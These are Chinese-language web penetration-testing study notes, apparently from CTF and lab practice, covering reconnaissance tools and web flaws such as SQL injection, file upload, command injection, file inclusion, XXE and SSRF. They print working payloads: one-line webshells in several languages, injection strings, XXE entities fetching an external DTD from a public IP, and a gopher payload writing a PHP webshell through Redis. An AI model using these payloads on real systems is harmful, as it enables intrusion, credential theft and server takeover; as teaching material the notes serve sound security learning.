1.ctfhub技能树
1.1 Web-SQL注入
Web-SQL注入-整数型 && 字符型 && MySQL结构
-
参考:5.9.6MySql注入
Web-SQL注入-报错注入
step1: 查库名
- ?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+
step2: 查看表名
- ?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
step3: 查看列名
- ?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+
step4: 查看数据
-
?id=1 and extractvalue(1,(select flag from sqli.flag))--+
Web-SQL注入-Cookie注入
- 就注入点变了,其他操作:参考整数型注入
Web-SQL注入-UA注入
user-agent表示搭建这个网页电脑的相关信息
- 就注入点变了,其他操作:参考整数型注入
Web-SQL注入-Refer注入
Referer这个字段表示当前页面,从什么地方跳转过来的
- 新增一个referer:字段,注入点变了,其他操作:参考整数型注入
Web-SQL注入-过滤空格
使用/**/来代替空格
- 参考:5.9.6MySql注入
2.安装Kali
Kali是基于Debian的Liunx发行版操作系统,拥有超过300个渗透测试工具,拥有开源Git树等,甚至还集成了600多种黑客工具,且可以永久免费使用Kali操作系统
Get Kali | Kali Linux
- 上面那个是虚拟机版本,还可以通过arm架构操作系统,docker容器,手机移动端,微软wsl子系统等
- 补充:虚拟机VMware安装--安装虚拟机(VMware)保姆级教程(附安装包)
3. web安全基础
3.1 常见渗透测试专业术语
POC:全称' Proof of Concept ',中文'概念验证',常指一段漏洞证明的代码
EXP:全称' Exploit ',中文'利用',指利用系统漏洞进行攻击的动作
Payload:中文'有效载荷',指成功exploit之后,真正在目标系统执行的代码或指令
POC是用来证明漏洞存在的,EXP是用来利用漏洞的
3.2 HTTP协议基础
3.2.1 请求数据包
- 组成:a.请求行 b.请求头 c.请求体
3.2.2 请求方法
GET: 请求一个指定资源的表示形式,使用GET的请求应该只被用于获取数据,
POST: 用于将实体提交到指定的资源,通常导致在服务器上的状态变化或副作用。
HEAD:请求一个与GET请求的响应相同的响应,但没有响应体,在目录扫描的时候用的多
3.2.3 响应数据包
- ①报文协议及版本;
- ②状态码及状态描述;
- ③响应报文头,也是由多个属性组成;
- ④响应报文体,即我们真正要的“干货”
3.2.4 状态码
- 1xx 消息,一般是告诉客户端,请求已经收到了,正在处理,别急...
- 2xx 处理成功,一般表示:请求收悉、我明白你要的、请求已受理、已经处理完成等信息.
- 3xx 重定向到其它地方。它让客户端再发起一个请求以完成整个处理。
- 4xx 处理发生错误,责任在客户端,如客户端的请求一个不存在的资源,客户端未被授权,禁止访问等。
- 5xx 处理发生错误,责任在服务端,如服务端抛出异常,路由出错,HTTP版本不支持等。
3.3 name_that_hash工具(密码识别)
和其他工具一样,使用时,还是需要下载依赖:pip install name-that-hash
- 常见参数:python name_that_hash -t 文本
4. 信息收集
信息收集也叫做资产收集。信息收集是渗透测试的前期主要工作,是非常重要的环节,收集足够多的信息才能方便接下来的测试,信息收集主要是收集网站的域名信息、子域名信息、目标网站信息、目标网站真实IP、敏感/目录文件、开放端口和中间件信息等等。通过各种渠道和手段尽可能收集到多的关于这个站点的信息,有助于我们更多的去找到渗透点,突破口
4.1 常见的信息收集
-
子域名查询:
baidu.com 主域名 一级域名
123.baidu.com 子域名 二级域名 -
whois信息收集:
注册时间 人 邮箱 -
IP段的收集
-
开发端口探测
-
目录:敏感文件,目录探测
-
指纹识别
-
waf探测
信息收集的方式
主动信息收集:通过直接访问、扫描网站、流量将流经第三方网站
被动信息收集:利用第三方的服务对目标网站进行访问,如Google搜索、FOFA 等
4.2 域名信息收集
4.2.1 whois查询
- 站长之家域名WHOIS信息查询地址:域名Whois查询 - 站长工具
-
爱站网域名WHOIS信息查询地址:站长工具_whois查询工具_爱站网
-
腾讯云域名WHOIS信息查询地址:域名信息查询 - 腾讯云
- 中国万网域名WHOIS信息查询地址:whois查询_域名查询_域名交易_阿里云企航(原万网)-阿里云
4.2.2 备案查询
-
域名助手备案信息查询:http://cha.fute.com/index
-
天眼查:https://www.tianyancha.com/
-
ICP备案查询网:https://beian.miit.gov.cn/#/Integrated/index
-
爱站备案查询:https://icp.aizhan.com/
4.2.3 子域名查询
4.2.3.1 通过利用证书透明度收集子域名
-
https://crt.sh/
-
https://search.censys.io/
-
https://sslmate.com/certspotter/api/
-
https://developers.facebook.com/tools/ct
4.2.3.2 通过在线子域名查询网站收集子域名
-
https://securitytrails.com/
-
https://site.ip138.com/
-
https://tool.chinaz.com/subdomain/
-
http://www.dnsscan.cn/
4.2.3.3 通过搜索引擎收集子域名
- 谷歌语法:谷歌语法(详解+举例)-CSDN博客
4.2.3.4 通过空间测绘引擎收集子域名
- fofa:https://fofa.info/
- 鹰图:鹰图平台
- 360:登录 - 360网络空间资产测绘
4.2.3.5 通过工具自动化收集子域名
GitHub - shmilylty/OneForAll: OneForAll是一款功能强大的子域收集工具
- 更新pip:python -m pip install --upgrade pip
- 安装依赖:pip install -r ./requirements.txt
常用命令一:python oneforall.py --target example.com run
常用命令二: python oneforall.py --targets ./example.txt run
4.3 IP信息收集
4.3.1 理解CDN
-
为了保证网站的流程性产生了一个CDN的术语,叫做边缘节点,其实就是缓存了源站内容的代理服务器,相当于中间代理服务器
4.3.2 CDN基本原理
-
用户提交域名→浏览器对域名进行解析→DNS 解析得到目的主机的IP地址→根据IP地址访问发出请求→得到请求数据并回复
-
有cdn的情况下我们返回的不再是ip地址,而是一个CNAME(CDN全局负载均衡)担任中间人的角色
4.3.3 判断CDN
-
地址: 多个地点ping[edu.bitejiuyeke.com]服务器-网站测速-站长工具
4.3.4 绕过CDN找寻真实IP(不一定成功)
4.3.4.1 通过域名解析记录
- 网址:https://viewdns.info/iphistory/
4.3.4.2 通过空间安全搜索引擎
- 通过网络证书->序列号的16进制转成10进制->再通过fofa进行搜索
- fofa地址: FOFA Search Engine
- 进制转换地址: 进制转换 - 在线工具
4.3.4 nmap网络连接端扫描
Nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全
-
nmap [目标]可以是ip地址,也可以是主机名,默认扫描常用端口
-
nmap 目标1 目标2 ...
-
nmap -iL list.txt,list.txt中一行只能放一个目标,换行,再在下一行放目标
-
nmap 192.168.0.0/24,通过IP范围扫描,0-255是c段
-
nmap 192.168.31.180 -p 80,82,88,也可以通过指定端口或多个端口
-
nmap 192.168.31.180 -p 80 -sT, TCP全连接扫描
-
nmap 192.168.31.180 -p 80 -sS, TCP半连接扫描
- nmap -sP 192.168.31.0/24,主机探测
- nmap 192.168.31.180 -p 80 -sV,加了-sV参数就是服务识别
- nmap 192.168.31.180 -p 80 -O,加了-O参数就是系统识别
-
nmap -A 192.168.0.1,加了-A就是全面扫描
4.4 指纹信息收集
指纹识别在攻防演练中是必不可少的一个环节,利用指纹识别出来目标资产使用了哪些框架、OA、CMS等,就可以尝试利用专项漏洞工具或者网上搜索相关漏洞从而实现快速打点目的。
4.4.1 wappalyzer浏览器插件
4.4.2 EHole工具
EHole是一款对资产中重点系统指纹识别的工具,在红队作战中,信息收集是必不可少的环节,如何才能从大量的资产中提取有用的系统(如OA、VPN、Weblogic等),EHole旨在帮助红队人员在信息收集期间能够快速从C段、大量杂乱的资产中精准定位到易被攻击的系统,从而实施进一步攻击
- 查看帮助-h
- 命令一:.\EHole_windows_amd64.exe finger -f ip
- 命令二:.\EHole_windows_amd64.exe finger -s (fofa的语法)
4.5 敏感文件信息收集
4.5.1 dirsearch工具
- pip install -r requirements.txt //安装依赖
-
python dirsearch.py -h //查看帮助
-
常用命令一:python dirsearch.py -u http://xxxx //日常使用
-
常用命令二:python dirsearch.py -u http://xxxx -r //递归扫描,不过容易被检测
-
常用命令三:python dirsearch.py -u http://xxxx -r -t 30 //线程控制请求速率
4.5.2 dirmap工具
- pip install -r requirements.txt //安装依赖
- python dirmap.py -h //查看帮助
-
常用命令:python dirmap.py -i http://127.0.0.1 -lcf
4.6 信息收集自动化工具
4.6.1 docker 常用命令
-
docker ps//查看正在运行中的容器
-
docker images //查看存在的镜像
-
docker stop id //关闭某个正在运行中的容器
-
docker rmi -f id //删除指定的容器-f强制删除
-
docker-compose up -d //构建容器,并运行
4.6.2 ARL灯塔系统部署
配置fofa的API:
cd /opt/ARL-docker/
vim config-docker.yaml
4.6.2.1 关闭运行中的容器
-
cd /opt/ARL-docker/
-
docker-compose stop //关闭运行容器
4.6.2.2 启动容器
- cd /opt/ARL-docker/
-
docker-compose up -d //运行ARL系统
4.6.3 shuize信息收集自动化工具
(依靠容器,借助python,无UI)
在ShuiZe_0x727下,配置文件存放路径:iniFile/config.ini
4.6.3.1 运行容器
- docker run -itd yankovg/python3.8.2-ubuntu18.04 bash
4.6.3.2 进入容器
- docker exec -it <容器ID> /bin/bash
4.6.3.3 更新包索引
-
apt-get update
4.6.3.4 安装git
- apt install git --fix-missing
4.6.3.5 安装vim
- apt install vim
4.6.3.6 移除并构建新的python链接
- rm /usr/bin/python3
- ln -s /usr/local/bin/python3.8 /usr/bin/python3
4.6.3.7 升级pip
- python3 -m pip install --upgrade pip
4.6.3.8 克隆ShuiZe项目的Git仓库到容器内
-
git clone https://github.com/0x727/ShuiZe_0x727.git
4.6.3.9 给予docker_build.sh脚本执行权限
-
cd ShuiZe_0x727
-
chmod 777 docker_build.sh
4.6.3.10 执行docker_build.sh脚本
-
./docker_build.sh
4.6.3.11 查看Shuize的帮助信息
- python3 ShuiZe.py -h
使用语法
语法 | 功能 |
python3 ShuiZe.py -d domain.com | 收集单一的根域名资产 |
python3 ShuiZe.py --domainFile domain.txt | 批量跑根域名列表 |
python3 ShuiZe.py -c 192.168.1.0,192.168.2.0,192.168.3.0 | 收集C段资产 |
python3 ShuiZe.py -f url.txt | 对url里的网站漏洞检测 |
python3 ShuiZe.py --fofaTitle XXX大学 | 从fofa里收集标题为XXX大学的资产,然后漏洞检测 |
python3 ShuiZe.py -d domain.com --justInfoGather 1 | 仅信息收集,不检测漏洞 |
python3 ShuiZe.py -d domain.com --ksubdomain 0 | 不调用ksubdomain爆破子域名 |
4.6.4 Nemo自动化信息收集平台
4.6.2.1 关闭运行中的容器
-
cd nemo
-
docker-compose stop //关闭运行容器
4.6.2.2 启动容器
- cd nemo
-
docker-compose up -d //运行ARL系统
5. WEB基础漏洞
5.1 Webshell基础
Webshell是一种恶意脚本,通常被攻击者用来在受害者的网络服务器上获取不正当的访问权限。Webshell可以用多种编程语言编写,例如PHP、ASP、JSP。攻击者通过利用服务器上的漏洞(如文件上传漏洞、注入漏洞等)将webshell上传到目标服务器。一旦webshell被成功部署,攻击者就可以通过它执行各种恶意操作,如文件管理、命令执行、数据库操作等
5.1.1 理解<?php @eval($_GET['cmd']); ?>
- 这是PHP的代码块,表示其中的内容将被PHP解释器执行
- @:这是PHP中的错误抑制符
- eval():这是PHP中的一个危险函数
- $_GET['cmd']:这是PHP的超级全局变量,用于获取通过HTTP GET请求传递的参数
5.1.2 当请求方法是GET时
-
这个yanxiao.php里面有一段php的木马程序-<?php @eval($_GET['cmd']); ?>
- ?: 表示传参
5.1.3 当请求方法是POST时
- 在Burpsuite中右键,可以改变请求方法
5.1.4 中国蚁剑-Webshell管理工具
快速生成shell小知识
5.2 文件上传漏洞
5.2.1 数据库 && 中间键 && 组件
- 数据库:Oracle 大型数据库、Access、SQL Server(ms SQL)、MySQL 常用中小型数据库
- 中间件:IIS、Apache、Nginx、Tomcat
- 脚本:PHP、ASP、ASPX(ASP.NET)、JSP
5.2.2 脚本和数据库的搭配
-
PHP + MySQL
-
ASP + Access 、ASP + SQL Server(ms SQL)
-
ASPX(ASP.NET)+ SQL Server(ms SQL)
-
JSP + MySQL 、JSP + Oracle
5.2.3 综合搭配
-
Linux + Apache + PHP + MySQL
-
Linux + Nginx + PHP + MySQL
-
Windows + IIS + ASPX(ASP.NET)+ SQL Server(ms SQL)
-
Linux + Tomcatt + JSP + MySQL
-
Linux + Tomcat + JSP + Oracle
5.2.4 常见一句话木马
php
<?php @eval($_POST[value]); ?>
<?php assert($_POST[value]);?>
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
asp
<%eval request ("value")%>
<% execute(request("value")) %>
aspx
<%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
jsp
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
5.2.5 案例一: 无验证漏洞
- 直接上传带有恶意脚本的PHP文件就行
5.2.6 案例二:文件js校验
- 将恶意脚本文件改成 能通过前端的文件后缀
- 然后再在burp suite中更改它的文件后缀
5.2.7 案例三:mime文件绕过
- 直接通过修改 image/gif
- 通过抓包,改成能通过的文件类型
5.2.8 案例四:文件双写绕过
- 将123.php(恶意文件)改成123.pphphp文件
5.3 命令执行漏洞
5.3.0 原理
- 服务器端没有对客户端用户输入的命令进行过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令
5.3.1 PHP常见危险函数
紫色表示结果,黄色表示返回值,红色表示特别提醒
system
<?php
highlight_file(__FILE__);
system('pwd');
system('whoami');
?>
- 该函数会把执行结果输出 并把输出结果的最后一行作为字符串返回
- 如果执行失败则返回false
exec
<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>
- 不输出结果 返回执行结果的最后一行 可以使用output进行输出
shell_exec
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>
- 不输出结果,返回执行结果 并使用反引号(``)时调用的就是此函数
passthru
<?php
highlight_file(__FILE__);
passthru('ls');
?>
- 此函数只调用命令 并把运行结果原样地直接输出 没有返回值。
5.3.2 Windows命令连接符
- “&”: 前后为真都执行 前为假,后执行
- “&&”: 前后为真都执行 前为假,直接报错
- “|”直接执行后面语句
- “||”前面出错,执行后面的;前面不出错,不会执行后面的
5.3.3 linux命令连接符
- ;命令顺序执行
- & 和号 使命令在后台运行
- && 与 只有第一个执行成功,才会执行第二个
- | 管道,将第一个命令的输出作为第二个命令的输入,只显示后面的执行结果
- || 或,等价于编程中if else语句
5.3.4 常见分隔符
- 换行符 %0a
- 回车符 %0d
- 连续指令 ;
- 后台进程 &
- 管道符 |
- 逻辑 ||、&&
5.3.5 常见绕过过滤的方式
空格绕过
- 绕过空格过滤- ${IFS}绕过
- 绕过空格过滤-%09绕过
- 绕过空格过滤-{}绕过,{cat,commandexec.php}。
绕过关键字过滤
- 绕过关键字过滤-变量拼接,比如cat被过滤,则可以使用:a = c;b = at ;$a& b cat来表示cat
- 绕过关键字过滤-空变量绕过,比如cat被过滤,则可以使用:ca${x}t 来表示cat
- 绕过关键字过滤-<绕过,比如cat被过滤,则可以使用: cat<ctfs-wiki
- 绕过关键字过滤-系统变量绕过,比如cat被过滤,则可以使用:${SHELLOPTS}cat
- 绕过关键字过滤-\绕过,比如cat被过滤,则可以使用:c\a\t
- 绕过关键字过滤-通配符绕过,*表示任意个数字符,?表示一个字符
- base64编码绕过,比如cat被过滤,将它用base64编码成xxxx,则xxxx就表示cat
5.4 代码执行漏洞
5.4.0 原理
服务器端没有对PHP中的危险函数进行参数限制,服务器端成功执行PHP中危险函数的任意参数都鞥呢执行成功,导致信息的泄漏
应用程序中提供了一些可以将字符串作为代码执行的函数,比如PHP中的eval()函数,可以将函数中的参数当做PHP代码来执行如果这些函数的参数控制不严格,可能会被利用造成任意代码执行
5.4.1 代码执行函数
eval()函数
- eval (string $code)字符串作为PHP代码执行
- <?php @eval($_POST[value]); ?>
assert()函数
- bool assert ( mixed $assertion [, Throwable $exception ] ),但assertion在结果为 FALSE 时采取适当的行动,如果 assertion 是字符串,它将会被 assert() 当做PHP代码来执行。
- <?php @eval($_POST[value]); ?>
call_user_func()函数
- call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ),把第一个参数当成回调函数,其余参数是回调函数的参数
- <?php call_user_func($_POST['fun'],$_POST['arg'];)?>,使用时fun=system&arg=id
call_user_func_array()函数
- call_user_func_array (callable $callback , array $param_arr),把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入 ,
- <?php call_user_func_array($_POST['fun'],$_POST['arg'];)?>,使用时fun=system&arg=id
还有:create_function()函数,array_map()函数 ,preg_replace()函数等等
5.4.2 PHP可变函数
如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它。这就意味着PHP中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
- 当PHP支持可变函数中有参数时,那就可以通过参数传递任意代码,造成任意代码执行
- 输入 http://192.168.91.142:8080/?func=system&string=id 会调用system函数,执行系统命令id返回当前用户的信息
5.5 文件包含漏洞
5.5.0 原理
服务器端通过特性函数包含文件,但对文件来源没有做限制,过滤不严谨,导入上传了恶意文件,导致信息泄漏
5.5.1 产生文件包含漏洞的原因
PHP中提供了四个包含文件函数
- include(),include_once(),require($_file),require_once()。当调用这4个函数包含一个新文件时,该文件将作为php代码执行
5.5.2 一些常见的敏感目录信息路径
Windows系统
-
C:\boot.ini //查看系统版本
-
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
-
C:\windows\repair\sam //存储Windows系统初次安装的密码
-
C:\ProgramFiles\mysql\my.ini //Mysql配置
-
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
-
C:\windows\php.ini //php配置信息
Linux/Unix系统:
-
/etc/password //账户信息
-
/etc/shadow //账户密码信息
-
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
-
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
-
/usr/local/app/php5/lib/php.ini //PHP相关配置
-
/etc/httpd/conf/httpd.conf //Apache配置文件
-
/etc/my.conf //mysql配置文件
5.5.3 文件包含漏洞的利用条件
文件包含漏洞满足的条件:
(1)include()等函数通过动态变量的方式引入需要包含的文件
(2)用户能够控制该动态变量
PHP文件包含的分类
1、本地包含 LIF
2、远程包含 RLF 需要allow_url_include=on //PHP.INI
5.5.4 漏洞利用:本地文件包含
<?php
// 从 GET 请求中获取 filename 参数的值
$filename = $_GET['filename'];
// 使用 include 函数来包含(即执行)指定名称的文件
// 如果文件存在,它的内容将被执行,就像它直接在此处编写一样
// 如果文件不存在,或者出现错误,include 会发出一个警告,但脚本会继续执行
include($filename);
?>
- http://example.com/include.php?filename=123.php;,会用php解析器来执行123.php文件
- 也可以这样调用http://example.com/include.php?filename=phpinfo();
如果有限制的话,下面有几种绕过方式
- 1.00截断法 但是需要php小于5.3.4
http://127.0.0.1/dir/include.php?filename=1.txt%00 - 2.长度截断条件:windows 点号大于256个 linux大于4096
http://127.0.0.1/dir/include.php?filename=1.txt............................................
/./././././././././././././././././././././././././././././././././././././././././././././././././././
- 或者直接包含本地文件file=shell.txt,然后再使用蚁剑
5.5.5 漏洞利用:远程文件包含
- 在云服务器上开启web服务:python -m http.server
5.5.6 php伪协议
5.5.6.1 php.ini参数设置
-
allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
-
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;
5.5.6.2 file://
用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
绝对路径:http:
//127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
相对路径:http:
//127.0.0.1/include.php?file=./phpinfo.txt
5.5.6.3 http://、https://
URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
这个类似漏洞利用中的远程文件包含
5.5.6.4 php://
读取文件源码用法
- 127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
- 记得用base64-encode解码器解密
写入一句话木马用法
<?php
fputs
(
fopen
(
'shell.php'
,
'w'
),
'<?php @eval($_GET[cmd]); ?>'
); ?>
有时候如果写入不成功,则使用下面的方法
- <?php system("ls ../../");?>
5.6 xxe漏洞
5.6.0 原理
- XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
5.6.1 xml基础概念
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,
5.6.2 XML与HTML的主要区别
- XML被设计为传输和存储数据,其焦点是数据的内容。
- HTML被设计用来显示数据,其焦点是数据的外观。
- HTML旨在显示信息,而XML旨在传输信息。
5.6.3 读取文件
使用file://协议
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/1.txt">
]>
<x>&xxe;</x>
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/phpStudy/PHPTutorial/WWW/shell.php">
]>
<x>&xxe;</x>
-
这个使用的是base64进行的解密
5.6.4 内网探针
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://172.16.34.208/" >
]>
<x>&rabbit;</x>
5.6.5 引入外部实体dtd文件
引入外部实体 dtd dtd格式文件 当成xml代码执行 条件:是否开启了外部实体引用
<!ENTITY send SYSTEM "file:///etc/passwd">
引入外部实体 dtd dtd格式文件 当成xml代码执行 条件:是否开启了外部实体引用
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://47.238.206.117:8000/1.dtd">
%file;
]>
<x>&send;</x>
5.6.6 综合案例-CTF-Vulnhub-XXE
1. 环境导入
- 双击这个xxe.ovf就行了,记得改下路径
2. 查ip
- 192.168.254.130:80下有2个路径/xxe /xxe/admin.php
3. 漏洞利用
- 通过对第一个网页抓包发现是由xml编写了
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
- 再通过在线的base64解码器解密,就可以发现账号密码了
- 但这个密码又是md5的密码,又需要解密
- 最后得到administhebest admin@123
4.查看flag文件源码
- 再利用xml漏洞,对flagmeout.php的源码进行解析,使用base64的解析
- base64解码,base32解码,base64解码
5.xml读取/etc/.flag.php
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>
- 最后得到一段php的加密
6. 在php运行环境中解码
在线的php运行环境:PHP在线运行工具|代码在线运行工具
- 将那段密码放入一个文件中,再php环境中运行
- SAFCSP{xxe_is_so_easy}
5.7 SSRF漏洞
5.7.0 原理
- 服务端提供了从其他服务器获取数据的功能但没有对目标地址做过滤与限制。
- 导致攻击者可以利用改漏洞获取内部系统的一些信息
一种由攻击者构造特殊形成的请求,并且由指定服务器端发起恶意请求的一个安全漏洞
SSRF漏洞的攻击目标是攻击者无法直接访问的内网系统
SSRF漏洞的形成大多是由于服务端提供了,从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制
5.7.1 漏洞常见出没的位置
社交分享功能:获取超链接的标题等内容进行显示
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
数据库内置功能:数据库的比如mongodb的copyDatabase函数
邮件系统:比如接收邮件服务器地址
编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
从远程服务器请求资源
远程连接的 url
5.7.2 ssrf漏洞用途
-
内外网的端口和服务扫描
-
主机本地敏感数据的读取
-
内外网主机应用程序漏洞的利用
-
内外网web站点漏洞的利用
5.7.3 常出现漏洞的参数名
- share wap url link src source target u 3g display sourceURL imageURL domain
5.7.4 ssrf 常见函数
file_get_contents()
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
- file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法
fsockopen()
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
-
fsockopen()
是 PHP 中的一个内置函数,用于打开一个网络连接或者一个 Unix 套接字连接 -
这个函数尝试建立一个到指定主机(host)和端口(port)的 TCP/IP 连接,
-
如果连接成功它将返回一个文件指针,这个指针可以用来读写数据。如果连接失败,它将返回
FALSE
curl_exec()
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
curl_exec()
是 PHP cURL 库中的一个函数,用于执行一个 cURL 会话
SoapClient()
// ssrf.php
<?php
$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
-
SoapClient() 类为SOAP 1.1,SOAP 1.2服务器提供客户端。它可以在 WSDL 或非 WSDL 模式下使用
5.7.5 SSRF漏洞的验证
-
因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞
-
在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞
5.7.6 ssrf漏洞利用
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
- 攻击者 192.168.1.217
- 存在SSRF漏洞的服务器 192.168.110.1
- 内网服务器 :
5.7.7 http/https协议
http://192.168.11.135/ssrf.php?url=http://www.baidu.com
http://192.168.11.135/ssrf.php?url=https://www.baidu.com
-
当前应用获取用户传递过来的url参数后端发送请求,并且将最终的请求结果返回到html前端页面。
5.7.8 file协议
http://192.168.11.135/ssrf.php?url=file:///etc/passwd
-
如果服务器端对请求资源所使用的协议方式没有进行限制,那么就可以通过file协议访问当前服务器的本地文件
5.7.9 dict协议
http://192.168.11.135/ssrf.php?url=dict://localhost:80
-
通过
dict
协议可以远程访问一个指定的tcp 端口,并且会返回端口所提供的服务的部分组件信息
5.7.10 gopher 协议
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
-
gopher 协议可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。主要用于攻击ssrf漏洞
5.7.11 ctfhub:Redis协议
使用gopher协议写入web.shell
使用gopher协议写入web.shell: https://github.com/tarunkant/Gopherus
- 建议生成之后再用url编码一下
5.8 逻辑漏洞-越权
5.8.1 概念
一个用户A一般只能够对自己本身的信息进行增删改查,然而由于后台开发人员的疏忽,没有在信息进行增删改查时候进行用户判断,从而导致用户A可以对其他用户进行增删改查等等操作,这种操作就叫做越权
5.8.2 水平越权
同级之间的越权
5.8.3 垂直越权
不同级之间的越权
5.9 SQL注入漏洞(思维导图)
5.9.1基础知识
什么是sql注入漏洞
- 带入数据库查询,注册、登录、(增删改查)
sql注入漏洞的危害
-
对数据库进行增删改查
-
写入webshell,获取权限 (条件:高权限、知道网站的物理路径)
简单sql注入漏洞代码解析
sqli-labs
if(isset($_GET['id']))//参数名
{
$id=$_GET['id'];//变量id 可控变量?id=1 参数名=参数值
//$id=str_replace(',','tui',$id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
//进行拼接 变量id
$result=mysql_query($sql);对语句进行执行
$row = mysql_fetch_array($result); 对结果进行展示
- $id=1;
